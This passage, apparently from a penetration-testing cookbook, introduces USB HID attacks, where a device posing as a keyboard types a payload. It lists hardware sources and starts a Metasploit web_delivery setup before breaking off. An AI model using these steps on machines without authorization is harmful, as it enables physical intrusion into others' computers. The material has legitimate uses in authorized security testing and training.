Human Interface Device attacks
Physical attacks are the most effective and dangerous, of which Human Interface Device (HID) attacks are among my favorite. To compromise a client, you just need to insert a preprogrammed USB stick that is read as an HID, in this case a keyboard that will type and execute the payload.
Getting ready
There are several hardware options you can use, going from a simple Android phone to custom hardware such as Teensy USB HID, which you can order at https://www.pjrc.com/; USB Rubber Ducky, available at https://hakshop.com; or the Cactus WHID from https://github.com/whid-injector/WHID.
How to do it...
- Although it is possible to run a basic stageless payload, in my experience using a staged payload with the Script Web Delivery exploit module has proven to be a reliable way to deliver payloads using HID devices:
msf > use exploit/multi/script/web_delivery msf exploit(multi/script/web_delivery) > set TARGET 2 TARGET => 2 msf exploit(multi/script/web_delivery) >...